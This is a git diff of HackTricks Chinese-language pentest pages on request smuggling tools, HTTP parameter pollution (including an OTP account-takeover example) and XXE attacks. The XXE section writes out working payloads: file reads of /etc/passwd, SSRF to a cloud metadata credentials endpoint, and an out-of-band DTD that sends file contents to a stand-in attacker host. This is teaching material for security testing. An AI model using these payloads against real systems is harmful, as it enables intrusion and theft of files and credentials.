[图片来源于此。](https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104) [这里查看图片。](https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104)
## 工具 ## 工具
@ -485,9 +350,9 @@ table.add(req)
* [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler) * [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
* [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py) * [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
* [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler) * [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer)此工具是一个基于语法的HTTP Fuzzer有助于发现奇怪的请求走私差异。 * [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): 这个工具是基于语法的HTTP Fuzzer用于发现奇怪的请求欺骗差异。
## 参考资料 ## 参考
* [https://portswigger.net/web-security/request-smuggling](https://portswigger.net/web-security/request-smuggling) * [https://portswigger.net/web-security/request-smuggling](https://portswigger.net/web-security/request-smuggling)
* [https://portswigger.net/web-security/request-smuggling/finding](https://portswigger.net/web-security/request-smuggling/finding) * [https://portswigger.net/web-security/request-smuggling/finding](https://portswigger.net/web-security/request-smuggling/finding)
@ -499,14 +364,14 @@ table.add(req)
<details> <details>
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击</strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
其他支持HackTricks的方式 支持HackTricks的其他方式:
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks品**](https://peass.creator-spring.com) * 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>

View file

@ -2,86 +2,71 @@
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong></strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式 支持HackTricks的其他方式
* 如果您想在**HackTricks**中看到您的**公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com) * 获取[**官方PEASSHackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
**摘自** [**https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654**](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654) # HTTP参数污染HPP概述
**摘要 :** HTTP参数污染HPP是一种攻击技术涉及操纵HTTP参数以改变Web应用程序的预期行为。这种攻击相对直接但效果显著。尽管参数操纵发生在服务器端且对用户不可见但客户端可以观察到产生的行为变化。
HTTP参数污染HPP指的是污染Web应用程序的HTTP参数以实现特定的恶意任务。它指的是操纵网站在HTTP请求期间接收的参数的处理方式。它改变了网站从其预期的行为。HTTP参数污染是一种简单的攻击方式但它是有效的。 ## HTTP参数污染HPP示例
当您污染任何参数时,代码只在服务器端运行,这对我们来说是不可见的,但我们可以在屏幕上看到结果。中间的过程是一个黑盒。 考虑银行应用程序的标准交易URL
例如有一个URL https://www.anybank.com/send它有三个参数 **URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000`
1. from : 此URL启动了从accountA到accountB的10,000交易。然而像这样引入另一个`from`参数:
2. to :
3. amount :
**URL : https://www.anybank.com/send/?from=accountA\&to=accountB\&amount=10000** **操纵后的URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
现在这是一个正常的URL将会进行一笔从accountA到accountB的10000的交易但如果我们添加另一个相同的参数**“from :”** 可能导致交易从accountC扣除而不是从accountA扣除。这说明了HPP如何用于操纵参数。值得注意的是此漏洞不仅限于GET请求还可以在POST请求中利用跨越各种功能如更改密码、双因素认证或API密钥传输。
那么URL将会变成 **https://www.anybank.com/send/?from=accountA\&to=accountB\&amount=10000\&from=accountC** 重要的是要认识到参数解析取决于所使用的特定Web技术。诸如[Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/)之类的工具可用于识别Web技术并了解其参数解析行为。
当这个URL进行10000的交易时将会从accountC而不是accountA扣除。这就是您在**HTTP参数污染**攻击中操纵参数的方式。尽管这种漏洞的范围不仅限于**GET**请求,您也可以在**POST**请求上执行此攻击。您可以在许多地方尝试这种漏洞如密码更改、2FA、评论、上传个人资料照片、传递API密钥的参数、OTP等。 ## PHP
当您操纵任何参数时它的操纵取决于每种Web技术解析其参数的方式。您可以使用“[Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/)”来识别Web技术。下面是一些技术及其参数解析的截图。技术及其参数解析 利用HPP的一个显著实例涉及以下步骤
![Image for post](https://miro.medium.com/max/1760/1\*POs4sP0fQVlPvTH9vw1U-A.jpeg) 1. **OTP操纵:**
- 目标是请求OTP的登录页面。
- 发送OTP请求后使用Burp Suite拦截了随后的HTTP请求。
- 另一个电子邮件被添加到请求中,有效地复制了`email`参数。
- 预期发送到第一个电子邮件的OTP错误地发送到第二个电子邮件从而允许未经授权访问第一个帐户。
我想分享我发现的HPP之一我能够利用这个漏洞接管一个账户。 此事件突显了应用程序后端如何处理`email`参数利用第一个生成OTP第二个用于OTP传递
**我是如何发现这个漏洞的?** # Flask和PHP中的参数解析
1. 我去了那个程序的登录页面它要求登录时输入OTP 不同的Web技术以独特的方式解析参数。例如对于类似`a=1&a=2`的查询Flask和PHP将以不同方式解释参数
发送OTP - **Flask**采用第一个出现的值a=1
- **PHP在Apache HTTP服务器上**采用最后一个出现的值a=2
![Image for post](https://miro.medium.com/max/600/1\*s-M09yWBylPVEhA6\_e0nSw.jpeg) 参数处理方式的差异可能会显著影响应用程序行为和对HPP攻击的易受性。有关更多详细信息请参阅[此文档](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution)。
2\. 我输入了一个电子邮件并点击了“发送一次性密码” # 参考资料
* [https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654)
3\. 我使用burp suite拦截了请求并使用相同的参数添加了另一个电子邮件我为测试目的创建了两个电子邮件Burp请求 * [https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution)
![Image for post](https://miro.medium.com/max/1737/1\*z\_RpnZyKHLn6B4Lz4ONT3Q.png)
4\. 我收到了shrey……@gmail.com的OTP发送到我的另一个账户radhika…..@gmail.com OTP
![Image for post](https://miro.medium.com/max/784/1\*a671GrRtiMYfLUL7nURD8Q.png)
5\. 我复制了OTP并回到程序登录屏幕上的shrey….@gmail.com我输入了这个OTP我进入了账户。账户接管
![Image for post](https://miro.medium.com/max/1698/1\*Ux-ILfCr\_Mk\_xmzzsXwNnA.jpeg)
所以这里发生的是后端应用程序取了第一个“**email**”参数的值来生成OTP并使用了第二个“**email**”参数的值来提供值这意味着shrey….@gmail.com的OTP被发送到了radhika….@gmail.com。
**注意:** 在第四步中我收到OTP到radhika….@gmail.com的图片上我感到困惑因为消息说Hi Radhika所以我以为参数没有被污染OTP是为radhika….@gmail.com的但当我在shrey….@gmail.com上尝试OTP时它起作用了。
## Flask & PHP
在[**这篇文章**](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution)中,您可以看到像`a=1&a=2`这样的HTTP查询将被Flask和运行在Apache HTTP服务器上的PHP不同地解释。在Flask中参数将是`1`首次出现而在PHP中将是`2`(最后出现)。
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong></strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式 支持HackTricks的其他方式
* 如果您想在**HackTricks**中看到您的**公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) * 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com) * 获取[**官方PEASSHackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family) * 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。** * 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>

File diff suppressed because one or more lines are too long

View file

@ -1,88 +1,69 @@
# XXE - XEE - XML 外部实体 # XXE - XEE - XML外部实体
<details> <details>
<summary><strong>从零开始学习 AWS 黑客攻击直到成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong></strong></summary> <summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持 HackTricks 的其他方式: 支持HackTricks的其他方式
* 如果您想在 **HackTricks** 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop) - 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com) - 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family) - 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** - **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。 - 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
XML 外部实体攻击是针对解析 XML 输入的应用程序的一种攻击类型。 XML外部实体攻击是针对解析XML输入的应用程序的一种攻击类型。
## XML 基础 ## XML基础知识
**这部分内容大部分取自这个了不起的 Portswigger 页面:** [**https://portswigger.net/web-security/xxe/xml-entities**](https://portswigger.net/web-security/xxe/xml-entities) **大部分内容基于这个出色的Portswigger页面:** [**https://portswigger.net/web-security/xxe/xml-entities**](https://portswigger.net/web-security/xxe/xml-entities)
### 什么是 XML <a href="#what-is-xml" id="what-is-xml"></a> ### 可扩展标记语言概述 <a href="#overview-of-extensible-markup-language" id="overview-of-extensible-markup-language"></a>
XML 代表“可扩展标记语言”。XML 是一种用于存储和传输数据的语言。像 HTML 一样XML 使用树状结构的标签和数据。与 HTML 不同XML 不使用预定义的标签因此可以给标签命名以描述数据。在网络历史的早期XML 作为数据传输格式很流行“AJAX”中的“X”代表“XML”。但现在它的流行度已经下降转而支持 JSON 格式 可扩展标记语言通常简称为XML被定义为一种用于存储和传输数据的标记语言。XML采用类似HTML的树状结构由标记和数据组成与HTML不同的是XML不限制于预定义标记。这种灵活性允许使用根据其封装数据的描述性命名的标记。在历史上XML作为数据传输格式而备受推崇尤其以其对“AJAX”其中“X”代表“XML”的贡献而闻名。然而随着JSON成为首选格式XML的流行度有所下降
### 什么是 XML 实体? <a href="#what-are-xml-entities" id="what-are-xml-entities"></a> ### 通过实体在XML中表示数据项 <a href="#representation-of-data-items-in-xml-through-entities" id="representation-of-data-items-in-xml-through-entities"></a>
XML 实体是一种在 XML 文档中表示数据项的方式而不是使用数据本身。XML 语言的规范中内置了各种实体。例如,实体 `&lt;``&gt;` 代表字符 `<``>`。这些是用于表示 XML 标签的元字符,因此当它们出现在数据中时,通常必须使用它们的实体来表示。 在XML中实体用作表示文档中数据项的机制提供了一种替代直接插入数据的方法。XML规范包含各种内置实体。例如`&lt;`和`&gt;`用于分别表示`<`和`>`字符。由于它们在标记XML标签方面的作用这些元字符在数据中出现时通常必须使用实体来表示。
### 什么是 XML 元素? ### 定义XML元素
元素类型声明设置了可能出现在 XML 文档中的元素的类型和数量的规则,哪些元素可以相互嵌套,以及它们必须以什么顺序出现。例如 在XML中元素类型声明至关重要因为它们为XML文档中元素的存在、类型和顺序建立了准则。举例说明包括
* `<!ELEMENT stockCheck ANY>` 表示任何对象都可以在父级 `<stockCheck></stockCheck>` 内部 - `<!ELEMENT stockCheck ANY>` 表示`<stockCheck></stockCheck>`元素可以包含任何类型的对象。
* \<!ELEMENT stockCheck EMPTY> 表示它应该是空的 `<stockCheck></stockCheck>` - `<!ELEMENT stockCheck EMPTY>` 指示`<stockCheck></stockCheck>`元素应保持无内容。
* \<!ELEMENT stockCheck (productId,storeId)> 声明 `<stockCheck>` 可以有子元素 `<productId>``<storeId>` - `<!ELEMENT stockCheck (productId,storeId)>` 指定`<stockCheck>`元素只能包含`<productId>`和`<storeId>`作为子元素。
### 什么是文档类型定义? <a href="#what-is-document-type-definition" id="what-is-document-type-definition"></a> ### 文档类型定义简介 <a href="#introduction-to-document-type-definition" id="introduction-to-document-type-definition"></a>
XML 文档类型定义DTD包含可以定义 XML 文档结构、它可以包含的数据值类型以及其他项目的声明。DTD 在 XML 文档开始时的可选 `DOCTYPE` 元素内声明。DTD 可以完全自包含在文档本身内(称为“内部 DTD”也可以从其他地方加载称为“外部 DTD”或者可以是两者的混合 文档类型定义DTD通过提供声明来规定XML文档的结构、允许的数据类型等在XML中发挥着关键作用。`DOCTYPE`元素是可选的位于XML文档开头可以声明一个DTD。DTD可以分为“内部”完全嵌入在文档中、“外部”从外部源加载或两者结合的形式
### 什么是 XML 自定义实体? <a href="#what-are-xml-custom-entities" id="what-are-xml-custom-entities"></a> ### 在XML中使用自定义实体 <a href="#utilization-of-custom-entities-in-xml" id="utilization-of-custom-entities-in-xml"></a>
XML 允许在 DTD 内定义自定义实体。例如 XML允许在DTD中定义自定义实体。一个示例声明
`<!DOCTYPE foo [ <!ENTITY myentity "my entity value" > ]>` `<!DOCTYPE foo [ <!ENTITY myentity "my entity value" > ]>`
个定义意味着在 XML 文档中任何使用实体引用 `&myentity;` 的地方都将被替换为定义的值:“`my entity value`”。 样的声明表明文档中的实体引用`&myentity;`将替换为“my entity value”。
### 什么是 XML 外部实体? <a href="#what-are-xml-external-entities" id="what-are-xml-external-entities"></a> ### 在XML中引入外部实体 <a href="#incorporation-of-external-entities-in-xml" id="incorporation-of-external-entities-in-xml"></a>
XML 外部实体是一种自定义实体,其定义位于声明它们的 DTD 外部 XML中的外部实体是自定义实体的一个子类型其定义位于DTD之外。这些实体使用`SYSTEM`关键字并需要指定一个URL该URL指定实体值的获取位置从而可能实现[XML外部实体攻击](https://portswigger.net/web-security/xxe)
外部实体的声明使用 `SYSTEM` 关键字,并且必须指定一个 URL以便从中加载实体的值。例如 ### 利用XML参数实体进行XXE检测
`<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://normal-website.com" > ]>` 在标准实体无法利用XXE漏洞进行攻击的情况下由于验证或XML解析器加固可以使用XML参数实体。XML参数实体以百分号字符作为实体名称之前的标志并使用相同字符引用仅在DTD中引用。它们可以通过带外方法促成盲目XXE检测例如发起DNS查找和HTTP请求到攻击者控制的域从而确认攻击的成功。
URL 可以使用 `file://` 协议,因此可以从文件加载外部实体。例如:
`<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file" > ]>`
XML 外部实体提供了 [XML 外部实体攻击](https://portswigger.net/web-security/xxe)产生的主要手段。
### 什么是 XML 参数实体?
有时,由于应用程序的某些输入验证或正在使用的 XML 解析器的一些加固,使用常规实体的 XXE 攻击会被阻止。在这种情况下,您可能可以改用 XML 参数实体。XML 参数实体是一种特殊类型的 XML 实体,只能在 DTD 内的其他地方引用。目前您只需要知道两件事。首先XML 参数实体的声明包括在实体名称前使用百分号:
`<!ENTITY % myparameterentity "my parameter entity value" >`
其次,参数实体使用百分号而不是通常的和号来引用:%myparameterentity;`
这意味着您可以使用以下方式通过 XML 参数实体进行盲 XXE 测试,通过带外检测:
`<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> %xxe; ]>`
此 XXE 有效载荷声明了一个名为 `xxe` 的 XML 参数实体,然后在 DTD 中使用该实体。这将导致对攻击者域的 DNS 查找和 HTTP 请求,验证攻击是否成功。
## 主要攻击 ## 主要攻击
[这些攻击大多数使用了 Portswiggers 出色的 XEE 实验室进行测试https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) **[大部分这些攻击是使用出色的Portswiggers XEE实验室进行测试的https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)**
### 新实体测试 ### 新实体测试
在这次攻击中,我将测试一个简单的新 ENTITY 声明是否有效 在这次攻击中,我将测试一个简单的新实体声明是否有效。
```markup ```markup
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]> <!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
@ -93,23 +74,21 @@ XML 外部实体提供了 [XML 外部实体攻击](https://portswigger.net/web-s
``` ```
### 读取文件 ### 读取文件
让我们尝试以不同的方式读取 `/etc/passwd`。对于 Windows可以尝试读取:`C:\windows\system32\drivers\etc\hosts` 让我们尝试以不同的方式读取 `/etc/passwd` 文件。对于Windows可以尝试读取:`C:\windows\system32\drivers\etc\hosts`
在这第一个案例中,请注意 SYSTEM "_**file:///**etc/passwd_" 也是可行的 在这种情况下请注意SYSTEM "_\*\*file:///\*\*etc/passwd_" 也可以工作
```markup ```markup
<!--?xml version="1.0" ?--> <!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]> <!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data> <data>&example;</data>
``` ```
![](<../.gitbook/assets/image (221).png>) 这第二种情况应该对提取文件很有用如果Web服务器正在使用PHP不是Portswiggers实验的情况
此第二种情况应当有助于提取文件如果web服务器使用的是PHPPortswiggers实验室不是这种情况
```markup ```markup
<!--?xml version="1.0" ?--> <!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]> <!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data> <data>&example;</data>
``` ```
在这第三种情况中,请注意我们将 `Element stockCheck` 声明为 ANY 在这第三个案例中,请注意我们将`Element stockCheck`声明为ANY。
```markup ```markup
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [ <!DOCTYPE data [
@ -121,11 +100,9 @@ XML 外部实体提供了 [XML 外部实体攻击](https://portswigger.net/web-s
<storeId>1</storeId> <storeId>1</storeId>
</stockCheck3> </stockCheck3>
``` ```
![](<../.gitbook/assets/image (222) (1).png>)
### 目录列表 ### 目录列表
在基于 **Java** 的应用程序中可能可以通过XXE使用如下有效载荷来**列出目录的内容**(只请求目录而不是文件): 在基于**Java**的应用程序中可以通过类似以下负载的XXE来**列出目录的内容**(仅请求目录而非文件):
```markup ```markup
<!-- Root / --> <!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root> <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
@ -135,113 +112,99 @@ XML 外部实体提供了 [XML 外部实体攻击](https://portswigger.net/web-s
``` ```
### SSRF ### SSRF
XXE 可能被用来在云内滥用 SSRF XXE可能被用来滥用云中的SSRF
```markup ```markup
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck> <stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
``` ```
### 盲 SSRF ### 盲 SSRF
使用**先前提到的技术**,你可以让服务器访问你控制的服务器以显示其易受攻击。但是,如果这不起作用,可能是因为**不允许使用 XML 实体**,在这种情况下,你可以尝试使用**XML 参数实体** 使用**先前评论的技术**,您可以让服务器访问您控制的服务器以显示其存在漏洞。但是,如果这种方法不起作用,可能是因为**不允许使用 XML 实体**,在这种情况下,您可以尝试使用**XML 参数实体**
```markup ```markup
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]> <!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck> <stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
``` ```
### "盲目" SSRF - 出站数据泄露 ### "盲" SSRF - 通过带外数据泄露
**在这个场合我们将让服务器加载一个带有恶意载荷的新DTD该载荷将通过HTTP请求发送文件内容对于多行文件您可以尝试通过** _**ftp://**_**进行泄露)。这个解释取自** [**Portswigger实验室这里**](https://portswigger.net/web-security/xxe/blind)**。** **在这种情况下我们将让服务器加载一个带有恶意有效负载的新DTD该有效负载将通过HTTP请求发送文件的内容对于多行文件您可以尝试通过** _**ftp://**_**进行泄露)。此说明摘自** [**Portswiggers实验室这里**](https://portswigger.net/web-security/xxe/blind)**。**
一个用于泄露 `/etc/hostname` 文件内容的恶意DTD示例如下 一个用于泄露`/etc/hostname`文件内容的恶意DTD示例如下
```markup ```markup
<!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>"> <!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval; %eval;
%exfiltrate; %exfiltrate;
``` ```
此 DTD 执行以下步骤: 这个DTD执行以下步骤:
* 定义一个名为 `file` XML 参数实体,包含 `/etc/passwd` 文件的内容。 * 定义一个名为 `file` 的XML参数实体包含 `/etc/passwd` 文件的内容。
* 定义一个名为 `eval` XML 参数实体,包含另一个名为 `exfiltrate` 的 XML 参数实体的动态声明。通过向攻击者的 web 服务器发起 HTTP 请求,其中 URL 查询字符串包含 `file` 实体的值,来评估 `exfiltrate` 实体 * 定义一个名为 `eval`XML参数实体包含对另一个名为 `exfiltrate` 的XML参数实体的动态声明。`exfiltrate` 实体将通过向攻击者的Web服务器发起HTTP请求来评估 `file` 实体的值该请求将在URL查询字符串中包含
* 使用 `eval` 实体,导致执行 `exfiltrate` 实体的动态声明 * 使用 `eval` 实体,导致`exfiltrate` 实体的动态声明被执行
* 使用 `exfiltrate` 实体,以便通过请求指定的 URL 来评估其值 * 使用 `exfiltrate` 实体,使其值通过请求指定的URL来评估
攻击者必须在他们控制的系统上托管恶意 DTD通常通过将其加载到自己的 web 服务器上。例如,攻击者可能在以下 URL 提供恶意 DTD\ 攻击者必须将恶意的DTD托管在他们控制的系统上通常是通过将其加载到自己的Web服务器上。例如攻击者可能会在以下URL上提供恶意的DTD\
`http://web-attacker.com/malicious.dtd` `http://web-attacker.com/malicious.dtd`
最后,攻击者必须向易受攻击的应用程序提交以下 XXE 有效载荷: 最后攻击者必须向易受攻击的应用程序提交以下XXE有效载荷
```markup ```markup
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]> <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck> <stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
``` ```
```markdown 这个XXE负载声明了一个名为`xxe`的XML参数实体然后在DTD中使用这个实体。这将导致XML解析器从攻击者的服务器获取外部DTD并内联解释它。恶意DTD中定义的步骤将被执行`/etc/passwd`文件将被传输到攻击者的服务器。
